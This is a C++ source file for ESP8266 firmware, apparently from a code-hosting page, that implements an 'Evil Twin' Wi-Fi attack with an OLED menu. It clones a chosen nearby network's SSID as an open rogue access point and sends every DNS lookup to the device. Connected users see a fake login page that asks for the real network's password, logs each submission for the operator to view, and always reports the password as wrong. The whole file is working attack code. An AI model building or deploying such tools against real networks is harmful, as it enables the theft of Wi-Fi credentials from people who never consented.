633 lines
29 KiB
C++
633 lines
29 KiB
C++
#include "mitm.h"
|
|
#include "config.h"
|
|
#include "utils.h"
|
|
#include "ui.h" // For needsRedraw, oled access
|
|
#include "scanner.h" // <<< Include scanner header for AP list access
|
|
#include <ESP8266WiFi.h>
|
|
#include <DNSServer.h> // For DNS Spoofing
|
|
#include <ESP8266WebServer.h> // For Captive Portal
|
|
|
|
// --- External UI Elements ---
|
|
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
|
extern bool needsRedraw;
|
|
extern UIState currentState; // To potentially switch back to main menu
|
|
|
|
// --- MitM Module State ---
|
|
static MitmState currentMitmState = MITM_STATE_IDLE;
|
|
static char target_ssid[33] = "[No Target]"; // Store selected target SSID
|
|
static uint8_t target_bssid[6] = {0}; // Store selected target BSSID (optional, for deauth)
|
|
static char captured_password[65] = ""; // To store captured password
|
|
static IPAddress apIP(192, 168, 4, 1); // IP address for the Rogue AP
|
|
static IPAddress netMsk(255, 255, 255, 0);
|
|
|
|
// --- Target Selection State ---
|
|
static int mitm_selected_ap_index = 0; // Index in the scanner's ap_list
|
|
static int mitm_display_offset = 0; // For scrolling the AP list
|
|
|
|
// --- Captured Password Count ---
|
|
static int captured_password_count = 0; // Count how many passwords have been submitted
|
|
|
|
// --- Logged Password Storage ---
|
|
const int MAX_LOGGED_PASSWORDS = 10;
|
|
const int MAX_PASSWORD_LEN = 64; // Max length for a single password (+1 for null)
|
|
static char logged_passwords[MAX_LOGGED_PASSWORDS][MAX_PASSWORD_LEN + 1];
|
|
static int logged_password_idx = 0; // Index for the *next* slot to write to (circular buffer)
|
|
static int view_log_scroll_offset = 0; // For scrolling the log view on OLED
|
|
|
|
// --- Login Error State ---
|
|
static bool show_login_error = false; // Flag to indicate if the error message should be shown
|
|
|
|
// --- Waiting Animation State ---
|
|
static char waiting_anim_char = '|';
|
|
static unsigned long last_anim_time = 0;
|
|
const unsigned long ANIM_INTERVAL = 250; // Milliseconds between animation frames
|
|
|
|
// --- Capture Alarm State ---
|
|
static bool new_password_captured = false; // Flag set when a new password arrives
|
|
static unsigned long capture_alarm_start_time = 0; // When the alarm started
|
|
const unsigned long CAPTURE_ALARM_DURATION = 1500; // How long the alarm effect lasts (milliseconds)
|
|
|
|
// --- Logged Blinking State ---
|
|
const unsigned long LOGGED_BLINK_INTERVAL = 500; // Blink rate (milliseconds on/off)
|
|
static unsigned long last_blink_time = 0; // Timer for blinking redraw trigger
|
|
static bool logged_text_visible = true; // State for blinking visibility
|
|
|
|
// --- Server Instances ---
|
|
DNSServer dnsServer;
|
|
ESP8266WebServer webServer(80); // Web server on port 80
|
|
|
|
// --- Captive Portal HTML ---
|
|
// Basic HTML for a fake login page. Can be customized extensively.
|
|
const char* captivePortalHTML = R"rawliteral(
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
<title>WiFi Login</title>
|
|
<style>
|
|
body { font-family: Arial, sans-serif; background-color: #f0f0f0; text-align: center; padding-top: 50px; }
|
|
.container { background-color: #fff; padding: 20px; border-radius: 8px; display: inline-block; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
|
|
input[type=text], input[type=password] { width: 90%; padding: 12px 20px; margin: 8px 0; display: inline-block; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
|
|
button { background-color: #4CAF50; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; width: 90%; }
|
|
button:hover { opacity: 0.8; }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="container">
|
|
<h2>Connect to WiFi</h2>
|
|
<p>Please enter the password for '%s'</p> <!-- SSID placeholder -->
|
|
<p style="color:red;">%s</p> <!-- Error Message placeholder -->
|
|
<form action="/login" method="POST">
|
|
<input type="password" id="password" name="password" placeholder="Password" required><br>
|
|
<button type="submit">Connect</button>
|
|
</form>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
)rawliteral";
|
|
|
|
// --- Forward Declarations for Web Handlers ---
|
|
void handleRoot();
|
|
void handleLogin();
|
|
void handleNotFound();
|
|
void sendCaptivePortalHTML(const char* ssid, const char* error_message); // Helper function
|
|
|
|
// --- Initialization ---
|
|
void mitm_init() {
|
|
Serial.println("MitM Module Initialized.");
|
|
currentMitmState = MITM_STATE_IDLE;
|
|
strncpy(target_ssid, "[No Target]", sizeof(target_ssid) -1); // Initialize with no target
|
|
// Any other one-time setup
|
|
}
|
|
|
|
// --- Start MitM Attack ---
|
|
void mitm_start() {
|
|
// Prevent starting only if already active or transitioning
|
|
if (currentMitmState == MITM_STATE_STARTING ||
|
|
currentMitmState == MITM_STATE_RUNNING ||
|
|
currentMitmState == MITM_STATE_STOPPING) {
|
|
Serial.println("MitM Start: Already running or starting.");
|
|
return;
|
|
}
|
|
// Check if a valid target has been selected
|
|
if (strcmp(target_ssid, "[No Target]") == 0 || target_ssid[0] == '\0') {
|
|
Serial.println("MitM Start: No target AP selected!");
|
|
// Optionally switch back to select state or show error on OLED?
|
|
// For now, just return.
|
|
return;
|
|
}
|
|
Serial.println("MitM Starting...");
|
|
currentMitmState = MITM_STATE_STARTING;
|
|
needsRedraw = true;
|
|
|
|
// Clear previous logs and counters on new start
|
|
captured_password_count = 0;
|
|
logged_password_idx = 0;
|
|
view_log_scroll_offset = 0;
|
|
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
|
|
|
|
// TODO:
|
|
// 1. Configure and start Rogue AP (WiFi.softAPConfig, WiFi.softAP)
|
|
// 2. Configure and start DNS Server (dnsServer.start)
|
|
// 3. Configure Web Server handlers (webServer.on, webServer.onNotFound)
|
|
// 4. Start Web Server (webServer.begin)
|
|
// 5. Optionally start Deauth attack against real AP
|
|
|
|
// --- Placeholder Setup ---
|
|
Serial.printf("MitM: Setting up Evil Twin AP: %s\n", target_ssid);
|
|
WiFi.mode(WIFI_AP); // Switch to AP mode
|
|
WiFi.softAPConfig(apIP, apIP, netMsk);
|
|
// Use an open network for simplicity first, add password later if needed
|
|
bool ap_started = WiFi.softAP(target_ssid);
|
|
|
|
if (ap_started) {
|
|
Serial.printf("MitM: Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str());
|
|
|
|
// Start DNS
|
|
Serial.println("MitM: Starting DNS Server.");
|
|
// Redirect all domains to our AP's IP address
|
|
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
|
dnsServer.start(53, "*", apIP); // Port 53, capture all domains
|
|
|
|
// Start Web Server (Define handlers later)
|
|
Serial.println("MitM: Starting Web Server.");
|
|
webServer.on("/", HTTP_GET, handleRoot); // Serve the login page
|
|
webServer.on("/login", HTTP_POST, handleLogin); // Handle form submission
|
|
webServer.onNotFound(handleNotFound); // Redirect other requests (Captive Portal)
|
|
webServer.begin();
|
|
|
|
Serial.println("MitM: Running.");
|
|
currentMitmState = MITM_STATE_RUNNING;
|
|
} else {
|
|
Serial.println("!!! MitM: Failed to start Rogue AP!");
|
|
mitm_stop(); // Cleanup on failure
|
|
}
|
|
needsRedraw = true;
|
|
}
|
|
|
|
// --- Stop MitM Attack ---
|
|
void mitm_stop() {
|
|
Serial.println("MitM Stopping...");
|
|
currentMitmState = MITM_STATE_STOPPING;
|
|
|
|
// Stop servers and WiFi AP
|
|
webServer.stop();
|
|
dnsServer.stop();
|
|
WiFi.softAPdisconnect(true); // Disconnect clients and stop AP
|
|
WiFi.mode(WIFI_STA); // Return to STA mode
|
|
WiFi.disconnect(); // Disconnect from any network
|
|
|
|
// Clear captured data
|
|
memset(captured_password, 0, sizeof(captured_password));
|
|
|
|
// Clear captured data count
|
|
captured_password_count = 0;
|
|
|
|
// Clear log state
|
|
logged_password_idx = 0;
|
|
view_log_scroll_offset = 0;
|
|
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
|
|
|
|
Serial.println("MitM Stopped.");
|
|
currentMitmState = MITM_STATE_IDLE;
|
|
needsRedraw = true;
|
|
}
|
|
|
|
// --- Main Update Loop ---
|
|
void mitm_update() {
|
|
// Only run updates if the MitM module is in the RUNNING state
|
|
if (currentMitmState == MITM_STATE_RUNNING) {
|
|
|
|
// --- Handle Network Tasks ---
|
|
// Process any incoming DNS requests (for captive portal redirection)
|
|
dnsServer.processNextRequest();
|
|
// Process any incoming web requests to the captive portal server
|
|
webServer.handleClient();
|
|
|
|
// --- Handle UI Updates (Animation/Blinking) ---
|
|
// Get the current time once to use for timing checks below
|
|
unsigned long currentMillis = millis();
|
|
|
|
// Check if any passwords have been captured yet
|
|
if (captured_password_count == 0) {
|
|
// --- No passwords captured: Update "Waiting..." Animation ---
|
|
// Check if it's time for the next animation frame
|
|
if (currentMillis - last_anim_time > ANIM_INTERVAL) {
|
|
last_anim_time = currentMillis; // Reset the animation timer
|
|
|
|
// Cycle through the animation characters: | / - \
|
|
// This switch statement selects the next character based on the current one
|
|
switch (waiting_anim_char) {
|
|
case '|': waiting_anim_char = '/'; break;
|
|
case '/': waiting_anim_char = '-'; break;
|
|
case '-': waiting_anim_char = '\\'; break; // Use double backslash for the character
|
|
case '\\': waiting_anim_char = '|'; break;
|
|
default: waiting_anim_char = '|'; break; // If something unexpected happens, reset
|
|
} // End of switch statement
|
|
|
|
// We need to redraw the screen to show the new animation character
|
|
needsRedraw = true;
|
|
}
|
|
} else {
|
|
// --- Passwords HAVE been captured: Update "Logged: X" Blinking ---
|
|
// Check if it's time to toggle the blink state (on/off)
|
|
if (currentMillis - last_blink_time > LOGGED_BLINK_INTERVAL) {
|
|
last_blink_time = currentMillis; // Reset the blink timer
|
|
// We need to redraw the screen to potentially change the visibility
|
|
needsRedraw = true;
|
|
}
|
|
}
|
|
} // End of if (currentMitmState == MITM_STATE_RUNNING)
|
|
|
|
// You could add other state updates outside the RUNNING check if needed
|
|
// For example, handling timeouts or other background tasks for MitM.
|
|
} // End of mitm_update function
|
|
|
|
// --- Helper to Send Captive Portal HTML (Chunked) ---
|
|
void sendCaptivePortalHTML(const char* ssid, const char* error_message) {
|
|
// Find placeholders
|
|
const char* ssidPlaceholderPos = strstr(captivePortalHTML, "%s");
|
|
const char* errorPlaceholderPos = ssidPlaceholderPos ? strstr(ssidPlaceholderPos + 2, "%s") : nullptr; // Find second %s
|
|
|
|
if (!ssidPlaceholderPos || !errorPlaceholderPos) {
|
|
Serial.println("MitM Web Helper: Error! Placeholders not found in HTML.");
|
|
webServer.send(500, "text/plain", "Internal Server Error: Portal template invalid.");
|
|
return;
|
|
}
|
|
|
|
// Calculate lengths
|
|
size_t part1Len = ssidPlaceholderPos - captivePortalHTML;
|
|
size_t ssidLen = strlen(ssid);
|
|
size_t part2Len = errorPlaceholderPos - (ssidPlaceholderPos + 2);
|
|
size_t errorLen = strlen(error_message);
|
|
size_t part3Len = strlen(errorPlaceholderPos + 2);
|
|
size_t totalLen = part1Len + ssidLen + part2Len + errorLen + part3Len;
|
|
|
|
// Send headers
|
|
webServer.setContentLength(totalLen);
|
|
webServer.send(200, "text/html", ""); // Send headers, empty content
|
|
|
|
// Send content in chunks
|
|
webServer.sendContent_P(captivePortalHTML, part1Len);
|
|
webServer.sendContent(ssid, ssidLen);
|
|
webServer.sendContent_P(ssidPlaceholderPos + 2, part2Len);
|
|
webServer.sendContent(error_message, errorLen);
|
|
webServer.sendContent_P(errorPlaceholderPos + 2, part3Len);
|
|
|
|
webServer.client().stop(); // Close connection
|
|
Serial.println("MitM Web Helper: Finished sending chunked response.");
|
|
}
|
|
|
|
// --- Web Server Handlers ---
|
|
|
|
void handleRoot() {
|
|
Serial.println("MitM Web: Serving root page (chunked).");
|
|
const char* error_msg = "";
|
|
if (show_login_error) {
|
|
Serial.println("MitM Web: Login error flag is set, showing error message.");
|
|
error_msg = "Incorrect Password. Please try again.";
|
|
show_login_error = false; // Reset the flag after using it
|
|
}
|
|
sendCaptivePortalHTML(target_ssid, error_msg);
|
|
}
|
|
|
|
void handleLogin() {
|
|
Serial.println("MitM Web: Received POST to /login");
|
|
if (webServer.hasArg("password")) {
|
|
String password = webServer.arg("password");
|
|
Serial.printf("MitM Web: Potential Password Captured: %s\n", password.c_str());
|
|
|
|
// Store the password in the log array (circular buffer)
|
|
strncpy(logged_passwords[logged_password_idx], password.c_str(), MAX_PASSWORD_LEN);
|
|
logged_passwords[logged_password_idx][MAX_PASSWORD_LEN] = '\0'; // Ensure null termination
|
|
logged_password_idx = (logged_password_idx + 1) % MAX_LOGGED_PASSWORDS; // Move to next slot, wrap around
|
|
|
|
captured_password_count++; // Increment count
|
|
new_password_captured = true;
|
|
capture_alarm_start_time = millis();
|
|
needsRedraw = true; // Force UI redraw to update count if needed
|
|
|
|
// Set the flag to show the error on the next page load
|
|
show_login_error = true;
|
|
|
|
// Redirect the client back to the root page
|
|
webServer.sendHeader("Location", "/", true);
|
|
webServer.send(302, "text/plain", "Password Incorrect - Redirecting..."); // 302 Found
|
|
} else {
|
|
Serial.println("MitM Web: Login POST received, but no 'password' argument.");
|
|
webServer.send(400, "text/plain", "Bad Request: Missing password field.");
|
|
}
|
|
}
|
|
|
|
void handleNotFound() {
|
|
// Redirect to root page (captive portal trigger)
|
|
Serial.println("MitM Web: handleNotFound triggered, redirecting.");
|
|
webServer.sendHeader("Location", "/", true); // Redirect to root
|
|
webServer.send(302, "text/plain", ""); // 302 Found status code
|
|
}
|
|
|
|
// --- Draw MitM UI ---
|
|
void mitm_draw() {
|
|
oled.setFont(u8g2_font_6x10_tf); // Ensure default font at start
|
|
switch (currentMitmState) {
|
|
case MITM_STATE_IDLE:
|
|
// Draw Title
|
|
oled.drawStr(0, 25, "Evil Twin Ready"); // Keep at default position for now
|
|
|
|
// Draw Target Label (Small)
|
|
oled.setFont(u8g2_font_5x7_tf);
|
|
oled.drawStr(0, 40, "Target SSID:");
|
|
oled.setFont(u8g2_font_6x10_tf); // Back to default font
|
|
|
|
// Draw Target SSID (Default Font)
|
|
oled.drawStr(0, 52, target_ssid);
|
|
|
|
// Draw Footer (Small)
|
|
oled.setFont(u8g2_font_5x7_tf);
|
|
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select Target");
|
|
oled.setFont(u8g2_font_6x10_tf); // Back to default font
|
|
break;
|
|
case MITM_STATE_SELECT_TARGET:
|
|
{ // Block scope for local variables
|
|
oled.drawStr(0, 24, "Select Target AP:");
|
|
// oled.drawLine(0, 26, SCREEN_WIDTH, 26); // Line removed
|
|
|
|
const int items_per_page = 3; // Keep showing 3 APs
|
|
int yPos = 32; // Start list items at Y=32
|
|
int line_height = 11;
|
|
|
|
if (ap_count == 0) {
|
|
oled.drawStr(10, 40, "[No APs Found]");
|
|
oled.drawStr(10, 52, "Run Scanner First!");
|
|
} else {
|
|
for (int i = 0; i < items_per_page; ++i) {
|
|
int current_item_index = mitm_display_offset + i;
|
|
if (current_item_index >= ap_count) break; // Stop if we run out of APs
|
|
|
|
AccessPointInfo* ap = &ap_list[current_item_index];
|
|
char buffer[40]; // <<< INCREASE BUFFER SIZE (e.g., to 40)
|
|
char select_char = (current_item_index == mitm_selected_ap_index) ? '>' : ' ';
|
|
String encStr = encryption_to_string(ap->encryption); // Assuming you have this function from scanner
|
|
|
|
snprintf(buffer, sizeof(buffer), "%c%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
|
|
oled.drawStr(0, yPos + (i * line_height), buffer);
|
|
}
|
|
// Draw scroll indicators if needed (similar to scanner)
|
|
if (ap_count > items_per_page) {
|
|
if (mitm_display_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 28, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up (Y=28-31)
|
|
if (mitm_display_offset + items_per_page < ap_count) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
|
|
}
|
|
}
|
|
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Select");
|
|
}
|
|
break;
|
|
case MITM_STATE_STARTING:
|
|
oled.drawStr(0, 30, "MitM Starting...");
|
|
break;
|
|
case MITM_STATE_RUNNING:
|
|
{ // Block scope
|
|
// Draw Title (Moved up)
|
|
oled.drawStr(0, 10, "Evil Twin Active"); // Draw just below header line
|
|
|
|
// Draw AP Info
|
|
oled.drawStr(0, 24, "AP:");
|
|
oled.drawStr(18, 24, target_ssid);
|
|
|
|
// Draw Status (Waiting animation or Logged count)
|
|
char footer_text[20]; // Buffer for footer text
|
|
if (captured_password_count > 0) {
|
|
// --- Handle Capture Alarm & Blinking ---
|
|
bool draw_inverted = false;
|
|
bool draw_normal = true; // Assume we draw normally unless blinking off
|
|
|
|
if (new_password_captured) {
|
|
if (millis() - capture_alarm_start_time < CAPTURE_ALARM_DURATION) {
|
|
draw_inverted = true; // Still within alarm duration
|
|
draw_normal = false; // Don't draw normally during alarm
|
|
} else {
|
|
new_password_captured = false; // Alarm duration ended
|
|
}
|
|
}
|
|
|
|
// If alarm is not active, handle blinking
|
|
if (!draw_inverted) {
|
|
// Toggle visibility based on time interval
|
|
logged_text_visible = (millis() / LOGGED_BLINK_INTERVAL) % 2 == 0;
|
|
if (!logged_text_visible) {
|
|
draw_normal = false; // Don't draw if in the "off" blink phase
|
|
}
|
|
}
|
|
// --- End Alarm & Blinking Handling ---
|
|
|
|
char count_buffer[20];
|
|
snprintf(count_buffer, sizeof(count_buffer), "Logged: %d", captured_password_count);
|
|
|
|
// Draw the "Logged: X" text (normal or inverted)
|
|
int text_y = 38;
|
|
int text_width = oled.getStrWidth(count_buffer);
|
|
int text_height = 10; // Font height
|
|
if (draw_inverted) {
|
|
oled.setDrawColor(1); // Set color to foreground (white)
|
|
oled.drawBox(0, text_y - text_height + 1, text_width + 2, text_height + 1); // Draw black box behind text area
|
|
oled.setDrawColor(0); // Set color to background (black) for text
|
|
oled.drawStr(1, text_y, count_buffer); // Draw text slightly offset within box
|
|
oled.setDrawColor(1); // IMPORTANT: Reset draw color to foreground for other elements
|
|
} else if (draw_normal) { // Only draw normally if not inverted and not in blink "off" phase
|
|
oled.drawStr(0, text_y, count_buffer); // Draw normally
|
|
}
|
|
|
|
strncpy(footer_text, "S:Logs L:Stop", sizeof(footer_text));
|
|
} else {
|
|
char waiting_buffer[15];
|
|
snprintf(waiting_buffer, sizeof(waiting_buffer), "Waiting %c", waiting_anim_char);
|
|
oled.drawStr(0, 38, waiting_buffer); // Draw waiting text + animation
|
|
strncpy(footer_text, "LONG: Stop", sizeof(footer_text));
|
|
}
|
|
footer_text[sizeof(footer_text)-1] = '\0'; // Ensure null termination
|
|
|
|
// Draw Footer (Small)
|
|
oled.setFont(u8g2_font_5x7_tf);
|
|
oled.drawStr(0, SCREEN_HEIGHT - 1, footer_text);
|
|
oled.setFont(u8g2_font_6x10_tf); // Back to default font
|
|
} // End block scope
|
|
break;
|
|
case MITM_STATE_STOPPING:
|
|
oled.drawStr(0, 30, "MitM Stopping...");
|
|
break;
|
|
case MITM_STATE_VIEW_LOGS:
|
|
{ // Block scope for VIEW_LOGS state
|
|
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
|
|
int font_height = 10; // Approx height of the font used (6x10)
|
|
int line_spacing = font_height + 1; // Y distance between lines (11)
|
|
int start_y = 24; // Y position for the first line of the password (Reverted)
|
|
|
|
if (displayable_logs == 0) {
|
|
oled.drawStr(10, 40, "[No Logs Yet]"); // Keep this centered vertically
|
|
} else {
|
|
// --- Draw Scroll Indicators (Page Up/Down) ---
|
|
// Up arrow if not showing the first log (index 0)
|
|
if (view_log_scroll_offset > 0) {
|
|
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up
|
|
}
|
|
// Down arrow if not showing the last log
|
|
if (view_log_scroll_offset < displayable_logs - 1) {
|
|
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
|
|
}
|
|
|
|
// --- Calculate index of the single password to display ---
|
|
int log_index_to_display = view_log_scroll_offset; // 0-based index of the log entry
|
|
|
|
// Calculate actual index in circular buffer
|
|
int start_idx;
|
|
if (captured_password_count <= MAX_LOGGED_PASSWORDS) {
|
|
start_idx = 0;
|
|
} else {
|
|
start_idx = logged_password_idx;
|
|
}
|
|
int actual_idx = (start_idx + log_index_to_display) % MAX_LOGGED_PASSWORDS;
|
|
|
|
// --- Draw the selected password across up to 4 lines ---
|
|
const char* password = logged_passwords[actual_idx];
|
|
int password_len = strlen(password);
|
|
|
|
// Draw Prefix "N:" (e.g., "1:", "2:")
|
|
char prefix_buffer[6];
|
|
snprintf(prefix_buffer, sizeof(prefix_buffer), "%d:", log_index_to_display + 1);
|
|
oled.drawStr(0, start_y, prefix_buffer); // Draw prefix on the first line
|
|
int prefix_width = oled.getStrWidth(prefix_buffer);
|
|
prefix_width += 2; // Gap
|
|
|
|
const int chars_per_line = 17;
|
|
char line_buf[chars_per_line + 1];
|
|
int current_offset = 0; // Start at the beginning of the password string
|
|
|
|
// Draw up to 4 lines
|
|
for (int line_num = 0; line_num < 4; ++line_num) {
|
|
if (current_offset >= password_len) break; // Stop if we've drawn the whole password
|
|
|
|
int chars_to_draw = min(password_len - current_offset, chars_per_line);
|
|
strncpy(line_buf, password + current_offset, chars_to_draw);
|
|
line_buf[chars_to_draw] = '\0';
|
|
oled.drawStr(prefix_width, start_y + (line_num * line_spacing), line_buf);
|
|
|
|
current_offset += chars_to_draw; // Move offset for the next line
|
|
}
|
|
}
|
|
// --- Draw Footer with smaller font ---
|
|
oled.setFont(u8g2_font_5x7_tf); // Use a smaller font (e.g., 5x7)
|
|
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next L:Back"); // Updated footer text
|
|
oled.setFont(u8g2_font_6x10_tf); // <<< IMPORTANT: Set font back to default for next draw cycle
|
|
} // End block scope
|
|
break;
|
|
default:
|
|
oled.drawStr(0, 30, "MitM Unknown State");
|
|
break;
|
|
}
|
|
}
|
|
|
|
// --- Handle Button Input ---
|
|
void mitm_handle_input(ButtonPressType pressType) {
|
|
switch (currentMitmState) {
|
|
case MITM_STATE_IDLE:
|
|
if (pressType == ButtonPressType::LONG_PRESS) {
|
|
// Enter selection mode
|
|
currentMitmState = MITM_STATE_SELECT_TARGET;
|
|
mitm_selected_ap_index = 0; // Reset selection
|
|
mitm_display_offset = 0;
|
|
needsRedraw = true;
|
|
Serial.println("MitM: Entering Target Selection Mode.");
|
|
}
|
|
break;
|
|
|
|
case MITM_STATE_SELECT_TARGET:
|
|
if (ap_count > 0) { // Only handle input if there are APs
|
|
const int items_per_page = 3; // <<< Update items per page here too
|
|
if (pressType == ButtonPressType::SHORT_PRESS) {
|
|
// Scroll down
|
|
mitm_selected_ap_index = (mitm_selected_ap_index + 1) % ap_count;
|
|
// Adjust display offset
|
|
if (mitm_selected_ap_index < mitm_display_offset) mitm_display_offset = mitm_selected_ap_index;
|
|
else if (mitm_selected_ap_index >= mitm_display_offset + items_per_page) mitm_display_offset = mitm_selected_ap_index - items_per_page + 1;
|
|
needsRedraw = true;
|
|
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
|
// Select the highlighted AP
|
|
AccessPointInfo* selectedAP = &ap_list[mitm_selected_ap_index];
|
|
strncpy(target_ssid, selectedAP->ssid, sizeof(target_ssid) - 1);
|
|
target_ssid[sizeof(target_ssid) - 1] = '\0'; // Ensure null termination
|
|
memcpy(target_bssid, selectedAP->bssid, 6);
|
|
Serial.printf("MitM: Target Selected: %s (%s)\n", target_ssid, macToString(target_bssid).c_str());
|
|
mitm_start(); // Attempt to start the attack with the selected target
|
|
// mitm_start will change the state if successful
|
|
}
|
|
} else if (pressType == ButtonPressType::LONG_PRESS) {
|
|
// Allow long press to go back even if list is empty
|
|
currentMitmState = MITM_STATE_IDLE;
|
|
needsRedraw = true;
|
|
}
|
|
break;
|
|
|
|
case MITM_STATE_RUNNING:
|
|
if (pressType == ButtonPressType::LONG_PRESS) {
|
|
mitm_stop();
|
|
} else if (pressType == ButtonPressType::SHORT_PRESS) {
|
|
// Enter log view mode if passwords have been captured
|
|
if (captured_password_count > 0) {
|
|
currentMitmState = MITM_STATE_VIEW_LOGS;
|
|
view_log_scroll_offset = 0; // Start scroll at the top
|
|
needsRedraw = true;
|
|
Serial.println("MitM: Entering Log View Mode.");
|
|
}
|
|
}
|
|
break;
|
|
|
|
case MITM_STATE_STARTING:
|
|
case MITM_STATE_STOPPING:
|
|
// Ignore input while starting/stopping for now
|
|
break;
|
|
|
|
case MITM_STATE_VIEW_LOGS:
|
|
{ // Block scope
|
|
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
|
|
|
|
if (pressType == ButtonPressType::LONG_PRESS) {
|
|
// Go back to running state
|
|
currentMitmState = MITM_STATE_RUNNING;
|
|
needsRedraw = true;
|
|
Serial.println("MitM: Exiting Log View Mode.");
|
|
} else if (pressType == ButtonPressType::SHORT_PRESS) {
|
|
// Go to the next password log (if possible)
|
|
if (displayable_logs > 0 && view_log_scroll_offset < displayable_logs - 1) {
|
|
view_log_scroll_offset++;
|
|
needsRedraw = true;
|
|
} else {
|
|
// Optional: Add wrap-around or visual feedback if at the end
|
|
needsRedraw = true;
|
|
}
|
|
}
|
|
} // End block scope
|
|
break;
|
|
|
|
default:
|
|
// Should not happen, maybe return to idle on long press?
|
|
if (pressType == ButtonPressType::LONG_PRESS) {
|
|
currentMitmState = MITM_STATE_IDLE;
|
|
needsRedraw = true;
|
|
}
|
|
break;
|
|
}
|
|
// Old logic:
|
|
/* if (pressType == ButtonPressType::LONG_PRESS) {
|
|
if (currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_CAPTURED) {
|
|
mitm_stop();
|
|
} else if (currentMitmState == MITM_STATE_IDLE) {
|
|
mitm_start();
|
|
}
|
|
// If starting/stopping, long press might cancel or do nothing yet
|
|
} */
|
|
// Short press could be used later for selecting targets or viewing details
|
|
}
|
|
|
|
// --- Get Current State ---
|
|
MitmState mitm_get_current_state() {
|
|
return currentMitmState;
|
|
}
|